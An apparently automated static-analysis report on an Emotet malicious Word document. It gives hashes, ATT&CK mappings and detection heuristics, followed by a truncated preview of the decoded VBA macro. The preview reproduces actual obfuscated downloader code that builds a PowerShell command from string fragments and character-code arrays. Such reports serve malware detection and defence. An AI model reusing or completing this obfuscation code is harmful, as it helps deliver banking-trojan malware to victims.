Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 ea73652fbecb0539…

MALICIOUS

Office (OLE)

234.5 KB Created: 2018-06-27 09:34:00 Authoring application: Microsoft Office Word First seen: 2018-07-18
MD5: fc1339f2f36c4fd6cd4676e4444537d1 SHA-1: c3e7cfe34dee897fd30fef869b4ea5004ec64f9f SHA-256: ea73652fbecb0539e46da02cb1ef6a9570f37548ad166d4c59af77bd3982bc08
242 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro that utilizes the Shell() function. ClamAV identifies it as Doc.Downloader.Emotet-6877379-0, strongly suggesting it's a downloader for the Emotet banking trojan. The VBA script is heavily obfuscated but the presence of AutoOpen and Shell() calls indicates an attempt to execute external code, likely to download and run a secondary payload.

Heuristics 7

  • ClamAV: Doc.Downloader.Emotet-6877379-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6877379-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11168 bytes
SHA-256: 1b44683bffdbe1d6e974181739b0eb90b91b24c5a7dff91ae19b1f21b1668070
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "oALqvcbrjNY"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "hlwWpPMZNpBuon"
Function avpfMm()
On Error Resume Next
zmFkH = Sin(81467)
dJUkwh = 80272
zJAEO = cXVMWn
toMMu = 71796
icoobb = 60719
uRijzP = CDate(44161)
RjZEpTAiR = "Hel" + "l  ." + Chr(40) + " " + "$PsHome" + "[21]" + Chr(43) + "$" + "psH" + "omE[3" + "4]" + Chr(43) + "'x'" + Chr(41) + " " + Chr(40) + " [sTr" + "InG]::" + "jO" + "In" + Chr(40) + "''"
aFriSp = Sin(69316)
falouh = 60798
VGKEGV = rTzPaj
rdPvz = 17471
ljHih = 44635
zltZdq = CDate(30496)
miYIYjT = ", " + Chr(40) + " " + "[ChAR" + "[]]" + Chr(40) + " 96, 40" + ",38," + " 47 ," + "121 , 4"
wplzV = Sin(46653)
AwKXpF = 64730
zIqdc = JGMBRN
pItQb = 59733
kHtXG = 66995
fJzGCC = CDate(54452)
GqcdLMXkHNu = "2,33" + " , 51 , " + "105," + "43 ,38" + ", " + "46, 3"
qZoAJ = Sin(48073)
McZBqP = 78667
ziWLW = OaCzfK
uREftC = 92018
aEvpc = 11089
OzMJov = CDate(47335)
JWEuDfQdBK = "3, 39 ," + "48" + ", 10" + "0, 1" + "0," + "33 ,48 " + ",1" + "06, 19 " + ",33, 38 " + ", 7 " + ",40 ,45,"
fJtNNa = Sin(81702)
EXRWm = 46230
MNJqWi = qSTvzj
SRDVNz = 15232
IiArop = 91464
CDjJt = CDate(80287)
EOjfBh = " 33 , 42" + ",48,12" + "7,96 , " + "51" + ", 0, 2,1" + "21 " + ",99,44,"
DOKBLL = Sin(58957)
zpavtR = 58852
iijvrn = Uiiqo
FmjdYF = 63024
DWPioh = 78928
fwfCiF = CDate(51497)
bLHoKjEzW = "48 " + ",48, 5" + "2,126" + ",107 , " + "107" + ",41 , " + "37 ," + "48, 3"
bRLOcp = Sin(19770)
BHtSK = 26525
jpMcw = RTiThb
pBmCA = 22224
jmasr = 72397
LziiiN = CDate(60623)
zCiZzRicp = "2 " + ", 37 " + ", 42 " + ",55" + ", 49 ,4" + "2, 37 ,4" + "2,43, 1" + "06," + "39, " + "43,4" + "1, 107 " + ", 5"
BWEJM = Sin(70644)
iBdHWO = 63449
aZLOh = JckTq
aKJHoK = 8577
WFFlJ = 10825
nCivt = CDate(17023)
ETWbi = "5 , " + "43 ,48 " + ", " + "52 , 4" + "5,33 " + ", 1" + "07 " + ",1"
avpfMm = RjZEpTAiR + miYIYjT + GqcdLMXkHNu + JWEuDfQdBK + EOjfBh + bLHoKjEzW + zCiZzRicp + ETWbi
iGsZi = CDate(38864)
GwKXib = 56135
LwRjd = Sin(51902)
szRnGq = RWEdw
FjKdQ = 22463
CGNMS = 71852
End Function
Function KdQautmPUjZ()
On Error Resume Next
twYSN = CDate(29845)
kHrPK = 62738
vRzWwI = Sin(9120)
SAtNP = tlkEV
mGVFY = 99825
EbZRE = 73172
aFLBGEPqw = "24, 47 " + ", 21 ," + " 114 ,1" + "5,107" + ",4 ,44," + " 48 ," + "48 ," + "52 ,1" + "26, 107," + " 107 , 5" + "1 ,51 , "
DjVccA = CDate(26092)
sWnDJ = 64993
DiBcJf = Sin(3863)
PCSPm = asiobX
cmNHN = 30924
NZhFlI = 87077
HjrKcPijDR = "51 , 10" + "6 " + ", 55,3" + "7 ,61 ," + "35 , " + "45, " + "42,41,3" + "3, 32 " + ", " + "45 " + ", 37" + ",106"
LbqDrs = CDate(71930)
rpziFI = 61586
cuwKi = Sin(21738)
twDqUN = ijroEn
OkapJa = 83642
GMLzOw = 16744
miwuClfGVi = ", 39 , " + "43" + " , 41 , " + "107 ," + " 114" + " , 35 " + ",11 ,51 " + ", 6 " + ", "
vsKcT = CDate(71957)
JwrbO = 15343
CAWUu = Sin(5610)
zFzFr = iXwhVY
uGdQC = 16836
NSXAu = 40591
coumRhlC = "39, " + "107" + " ,4 , " + "44 ," + " 48, 48" + " , 52 ,1" + "26 ,"
voJJOL = CDate(23101)
EsVVUW = 33541
Cfawjz = Sin(64216)
TbYFt = jhwKW
cWbNbV = 4560
NSnjXh = 17860
ZzoIibIj = " 10" + "7, 10" + "7,5" + "1,5" + "1, 5" + "1,106" + " ," + "34 " + ", 33, 3" + "2,"
KjIGG = CDate(96269)
wvEhR = 14741
cbIulb = Sin(58274)
zUSpBn = iLtGfT
YHcpfR = 75275
skCGV = 74748
VTvvHdj = " 33, " + "54 " + ", 37 , " + "40 ,37" + ",54" + ", 41 , 5"
KdQautmPUjZ = aFLBGEPqw + HjrKcPijDR + miwuClfGVi + coumRhlC + ZzoIibIj + VTvvHdj
FinCj = CDate(43368)
HjshY = 76812
VNoOoA = Sin(68073)
slpGnb = nvRCGi
zkiJt = 81554
JXLhN = 53732
End Function
Function FdzCnpoQzr()
On Error Resume Next
jqrAJ = CDate(51725)
qEzPwK = 91830
HhwdSa = Sin(7300)
YizJj = iZZzE
hdnSi = 65851
fDVrHw = 46532
TVEzW = "5 , 4" + "5, " + "42" + ", 48 " + ", 33 , " + "54" + " , 42 , " + "37 ,48,4" + "5 " + ", 43 ,"
RMjJwN = CDate(93852)
OCiFD = 24561
Ho
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.